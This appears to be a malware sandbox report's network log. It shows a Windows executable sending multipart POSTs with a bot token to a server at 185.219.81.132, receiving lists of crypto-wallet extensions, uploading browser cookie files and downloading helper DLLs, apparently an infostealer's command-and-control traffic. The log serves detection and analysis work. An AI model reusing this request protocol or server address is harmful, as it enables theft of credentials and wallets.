Dec 20, 2024 22:52:02.230164051 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 20, 2024 22:52:02.230184078 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 20, 2024 22:52:02.232371092 CET	469	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAEC Host: 185.219.81.132 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 2d 2d 0d 0a Data Ascii: ------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="message"fplugins------KEGDAKEHJDHIDHJJDAEC--
Dec 20, 2024 22:52:02.645159960 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 20, 2024 22:52:02.757117987 CET	202	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 185.219.81.132 Content-Length: 7155 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 22:52:02.757189989 CET	7155	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 20, 2024 22:52:03.541477919 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:03.792835951 CET	93	OUT	GET /55a20037509cc641/sqlite3.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:04.183005095 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 20, 2024 22:52:04.183099031 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 20, 2024 22:52:04.187232018 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 20, 2024 22:52:04.187407017 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49742	185.219.81.132	80	2836	C:\Users\user\Desktop\2BI8rJKpBa.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 22:52:13.444580078 CET	620	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.219.81.132 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGIJJDGCBKFIDHIEBKE--
Dec 20, 2024 22:52:15.011537075 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:15.117999077 CET	564	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.219.81.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file"------GCGDGHCBGDHJJKECAECB--
Dec 20, 2024 22:52:15.805202007 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49786	185.219.81.132	80	2836	C:\Users\user\Desktop\2BI8rJKpBa.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 22:52:28.191688061 CET	564	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 185.219.81.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="file"------DAEBFHJKJEBFCBFHDAEG--
Dec 20, 2024 22:52:29.646136999 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:30.682921886 CET	93	OUT	GET /55a20037509cc641/freebl3.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:31.073220015 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 20, 2024 22:52:31.073338985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 20, 2024 22:52:31.073378086 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 20, 2024 22:52:31.073724031 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 20, 2024 22:52:31.073760986 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 20, 2024 22:52:31.073796034 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 20, 2024 22:52:31.074229956 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 20, 2024 22:52:31.074265003 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 20, 2024 22:52:31.074301004 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 20, 2024 22:52:31.074337959 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 20, 2024 22:52:31.081614971 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 20, 2024 22:52:32.540396929 CET	93	OUT	GET /55a20037509cc641/mozglue.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:32.930645943 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 20, 2024 22:52:33.877332926 CET	94	OUT	GET /55a20037509cc641/msvcp140.dll HTTP/1.1 Host: 185.219.81.132 Cache-Control: no-cache
Dec 20, 2024 22:52:34.267738104 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 